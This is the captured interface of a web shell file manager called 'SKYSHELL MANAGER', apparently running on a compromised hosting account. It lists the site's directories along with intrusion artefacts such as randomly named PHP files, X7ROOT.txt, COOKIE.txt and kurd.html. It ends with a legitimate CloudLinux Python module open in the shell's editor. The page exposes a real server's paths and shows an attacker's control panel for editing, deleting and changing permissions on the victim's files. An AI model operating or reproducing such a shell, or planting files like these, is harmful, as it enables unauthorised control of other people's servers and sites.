📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
12.43 KB
0555
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: clselectstatistics.py
#!/opt/cloudlinux/venv/bin/python3 -bb # coding=utf-8 # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT from __future__ import print_function from __future__ import division from __future__ import absolute_import from collections import defaultdict from future.utils import iteritems from cldetectlib import get_suEXEC_status, get_suPHP_status from cllimits import CageFs, CageFsException from .cluserselect import ClUserSelect from .clselect import ClSelect as ClSelectPhp from .clselectctl import interpreter_versions_short_summary, server_applications_summary from typing import Optional, Dict # NOQA # Domain compatibility logic lives in clselectdomains; re-exported here # for backward compatibility — existing callers that import from # clselectstatistics will continue to work. from .clselectdomains import ( # noqa: F401 _is_acceptable_php_handler_cpanel, _get_php_selector_domains_for_cpanel, _get_php_selector_domains_for_plesk, _get_php_selector_domains_for_da, _get_php_vhosts_for_current_panel, get_php_selector_compatible_domains, get_all_selector_compatible_domains_flat, ) def _iter_versions(interpreter): """ Return list of InterpreterSummary objects :rtype: list[clselectctl.InterpreterSummary] """ return interpreter_versions_short_summary(interpreter) def iter_server_applications(interpreter): """ Return list of ApplicationSummary objects :rtype: list[clselectctl.ApplicationSummary] """ return server_applications_summary(interpreter) def get_versions_statistics(interpreter): # type: (str) -> Optional[Dict] interpreters_versions = _iter_versions(interpreter) if interpreters_versions is not None: return { it.version: { 'full_version': it.version_full, 'enabled': it.enabled, 'installed': it.installed } for it in interpreters_versions } def get_php_selector_usage(): """Get users and domains that use php selector""" cagefs = CageFs() if not cagefs.is_cagefs_present(): return None # check if cagefs is initialized try: cagefs._load_info() except CageFsException: return None # either suexec or suphp is required to move user into cagefs if not any((get_suEXEC_status(), get_suPHP_status())): return None # ignore unsupported control panels php_vhosts = _get_php_vhosts_for_current_panel() if php_vhosts is None: return None php = ClUserSelect() domains_by_php_version = defaultdict(set) users_by_php_version = defaultdict(set) for user, user_domains in iteritems(php_vhosts): if not cagefs.get_user_status(user): continue version = php.get_version(user, show_native_version=False)[0] domains_by_php_version[version].update(user_domains) users_by_php_version[version].add(user) return { 'domains_by_php_version': domains_by_php_version, 'users_by_php_version': users_by_php_version } def get_native_version_safe(): """ Safely get native version, or None if not set """ php = ClSelectPhp() v = php.get_native_version(verbose=False) # tuple[version, full_version] | None if v is None: return v return v[0] def get_mode_of_php_selector(): # type: () -> str """ Get state of PHP selector: without CageFS or normal """ return 'without_cagefs' if ClSelectPhp().work_without_cagefs() else 'normal' def get_default_php_version(): # type: () -> str """ Get default version of PHP selector """ # yep, get_version() returns default(!) version, don't ask me 'why' return ClSelectPhp().get_version()[0]
Save